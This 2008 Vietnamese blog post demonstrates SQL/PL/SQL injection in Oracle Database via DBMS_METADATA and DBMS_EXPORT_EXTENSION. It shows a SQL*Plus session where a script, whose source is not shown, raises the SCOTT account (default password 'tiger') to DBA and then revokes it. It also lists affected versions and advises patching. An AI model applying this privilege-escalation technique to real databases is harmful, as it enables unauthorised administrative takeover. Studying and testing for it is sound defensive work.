Tuesday, December 16, 2008

Kiểm tra lỗi chèn mã SQL, PL/SQL với Oracle Database

Giới thiệu

Trong lĩnh vực bảo mật thông tin, kỹ thuật chèn mã SQL khá phổ biến đối với những người quan tâm về bảo mật, và ở Việt Nam kỹ thuật này thường được ứng dụng cho những Cơ sở dữ liệu đơn giản, ít được sử dụng tại các doanh nghiệp lớn như SQL Server, MySQL. Vì lý do này, tính nguy hiểm của chèn mã SQL vẫn chưa được đánh giá đúng mức tại Việt Nam. Đối với Cơ sở dữ liệu Oracle (Oracle Database), kỹ thuật này được biến đổi khá đa dạng và nguy hiểm, cho phép một tài khoản với quyền hạn thấp có thể tùy biến nâng, đoạt được quyền quản trị DBA theo nhiều cách khác nhau, giúp tin tặc có thể điều khiển toàn hệ thống máy chủ Oracle. Bài viết này sẽ minh họa mã khai thác điểm yếu chèn mã SQL, PL/SQL đối với 2 gói lệnh sẵn có DBMS_METADATA và DBMS_EXPORT_EXTENSION.

Gói lệnh sẵn có DBMS_METADATA và DBMS_EXPORT_EXTENSION của Oracle Database, mặc định cho phép bất kì tài khoản nào trong Oracle cũng có thể truy cập.

Mã minh họa

Để minh họa kỹ thuật kiểm tra Oracle Database có bị lỗi chèn mã hay không, chúng ta sẽ dùng File mã lệnh check_ora_sql_injection.sql: File lệnh này cho phép một tài khoản bất kì chỉ có quyền CREATE SESSIONCREATE PROCEDURE có thể nâng quyền thành DBA. Đây là File lệnh tổng hợp kỹ thuật chèn mã đối với 2 gói lệnh DBMS_METADATA và DBMS_EXPORT_EXTENSION.
(Nhằm mục đích minh họa, File lệnh này áp dụng cho kết nối đến Oracle Database cụ thể)

Mặc định tài khoản SCOTT được gán 2 nhóm quyền CONNECT, RESOURCE, ứng với các quyền đơn lẻ sau:

F:\demo>sqlplus scott/tiger

SQL*Plus: Release 9.2.0.1.0 - Production on Mon Oct 20 18:40:25 2008

Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.

Connected to:
Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.1.0 - Production

SQL> SELECT * FROM user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT CONNECT NO YES NO
SCOTT RESOURCE NO YES NO

2 rows selected

Thực hiện File mã lệnh sau để nâng quyền tài khoản SCOTT thành DBA:

SQL> @check_ora_sql_injection.sql

check_ora_sql_injection: Release 1.0 - Production on Tue Oct 20 18:50:45 2008

USERNAME TO CHECK [SCOTT]:
PRIVS CONTROL [G]rant/[R]evoke [G]:

--- CHECK CURSOR INJECTION
--- WE GOT THE DBA!!

PL/SQL procedure successfully completed.

SQL>

Tài khoản SCOTT đã nâng quyền lên thành DBA:

SQL> SELECT * FROM user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT CONNECT NO YES NO
SCOTT DBA NO YES NO
SCOTT RESOURCE NO YES NO

3 rows selected.

Để gỡ quyền DBA khỏi tài khoản SCOTT, chúng ta làm như sau:

SQL> @check_ora_sql_injection.sql

check_ora_sql_injection: Release 1.0 - Production on Mon Oct 20 18:52:57 2008

USERNAME TO CHECK [SCOTT]:
PRIVS CONTROL Grant/Revoke [G]: R

--- REVOKING DBA FROM SCOTT...
--- DONE!

PL/SQL procedure successfully completed.

For updates please visit kinhnghiem.luyenthianhvan.org

SQL>

Tài khoản SCOTT chỉ còn 2 nhóm quyền như lúc đầu:

SQL> SELECT * FROM user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT CONNECT NO YES NO
SCOTT RESOURCE NO YES NO

2 rows selected.

Phiên bản ảnh hưởng

Đã kiểm thử kỹ thuật này trên các phiên bản Oracle Database sau:

  • Oracle Database 9.2.0.1, 9.2.0.4, 9.2.0.6, 9.2.0.8
  • Oracle Database 10.1.0.3, 10.2.0.1

Giải pháp khắc phục

Để khắc phục lỗi này, người sử dụng cần cập nhật bản vá lỗi mới nhất cho hệ thống Oracle Database sớm nhất. Tuy nhiên việc cập nhật bản vá lỗi không đúng cách có thể khiến hệ thống Oracle Database không thể hoạt động được nữa.Vì vậy cần kiểm thử nhiều lần trước khi thực hiện vá lỗi.

No comments: